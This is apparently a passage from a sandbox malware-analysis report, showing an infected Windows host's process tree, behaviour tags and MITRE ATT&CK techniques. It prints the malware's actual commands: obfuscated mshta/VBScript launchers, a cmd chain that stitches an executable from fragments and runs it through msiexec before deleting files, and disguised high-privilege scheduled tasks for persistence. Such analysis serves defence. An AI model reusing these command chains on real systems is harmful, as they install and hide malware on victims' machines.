C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBscRipt: cLose( CReAtEOBJECT( "WsCrIPT.sHell" ).rUn ( "cmD.ExE /R TYPe ""C:\Users\Admin\AppData\Local\Temp\JKadlCLvM2SRA2.ExE"" > ..\JKadlCLvM2SRA2.ExE &&staRt ..\JKadLCLVm2SRA2.eXe /PvqsV6~7fsyUR14GhQkS4jjgPQTPw & IF ""/PvqsV6~7fsyUR14GhQkS4jjgPQTPw"" =="""" for %q in (""C:\Users\Admin\AppData\Local\Temp\JKadlCLvM2SRA2.ExE"") do taskkill -iM ""%~Nxq"" -f " , 0 , truE ))5⤵PID:5036
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R TYPe "C:\Users\Admin\AppData\Local\Temp\JKadlCLvM2SRA2.ExE"> ..\JKadlCLvM2SRA2.ExE &&staRt ..\JKadLCLVm2SRA2.eXe /PvqsV6~7fsyUR14GhQkS4jjgPQTPw& IF "/PvqsV6~7fsyUR14GhQkS4jjgPQTPw" =="" for %q in ("C:\Users\Admin\AppData\Local\Temp\JKadlCLvM2SRA2.ExE") do taskkill -iM "%~Nxq" -f6⤵PID:8160
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBsCripT: ClOSe (creAteObJecT( "WscrIpT.sheLl" ). RUN ( "cmd /q /c ECho %tImE%4u> VDn3614.Q9 &ECho | SET /p = ""MZ"" > WSyZI.4 & coPY /b /y WSYZI.4 + 0CPM7.G + TY6DSS.SE + vDN3614.Q9 ..\UfTh.2~z& STaRt msiexec -y ..\UFTH.2~Z & deL /q * ",0 , tRUe ) )5⤵PID:948
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c ECho %tImE%4u> VDn3614.Q9 &ECho | SET /p = "MZ" > WSyZI.4& coPY /b /y WSYZI.4+ 0CPM7.G+ TY6DSS.SE+ vDN3614.Q9 ..\UfTh.2~z& STaRt msiexec -y ..\UFTH.2~Z & deL /q *6⤵PID:8004
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECho "7⤵PID:4192
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SET /p = "MZ" 1>WSyZI.4"7⤵PID:8068
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -y ..\UFTH.2~Z7⤵PID:6112
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -iM "A6C9.exe" -f4⤵
- Kills process with taskkill
PID:9000
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\B38C.exeC:\Users\Admin\AppData\Local\Temp\B38C.exe1⤵PID:4484
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:8584
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:8644
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:8344
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:6796 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Modifies registry class
PID:5956
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:8412
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:7916 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:4828
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:8176
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
PID:6620
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:4724
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
PID:6256
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8228
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
PID:5824
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
PID:5268
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
PID:6848
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
PID:6180
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "S8LGJghE7EKxPiR6DNQktZgV" /sc ONLOGON /tr "'C:\ProgramData\Application Data\S8LGJghE7EKxPiR6DNQktZgV.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:8000
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:6268
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:7904
-
C:\Windows\system32\compattelrunner.exeC:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW1⤵PID:8068
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "NpQFFR5PLBhAmQZ0HxCbwNxm" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\de\NpQFFR5PLBhAmQZ0HxCbwNxm.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4480
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "SearchUI" /sc ONLOGON /tr "'C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.Core\SearchUI.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4124
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\System32\KBDMYAN\fontdrvhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4008
-
C:\Windows\system32\compattelrunner.exeC:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW1⤵PID:5056
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "OwrOZbTk9HrZsEFTj0c7paTs" /sc ONLOGON /tr "'C:\Users\Admin\Pictures\Adobe Films\S8LGJghE7EKxPiR6DNQktZgV.exe\OwrOZbTk9HrZsEFTj0c7paTs.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:9040
-
C:\Windows\system32\regsvr32.exeregsvr32 /s C:\Users\Admin\AppData\Local\Temp\BD0F.dll1⤵PID:9136
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵PID:8472
Network
MITRE ATT&CK Enterprise v6
Persistence
BITS Jobs
1Modify Existing Service
2Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
BITS Jobs
1Disabling Security Tools
1File and Directory Permissions Modification
1Install Root Certificate
1Modify Registry
4Virtualization/Sandbox Evasion
2Web Service
1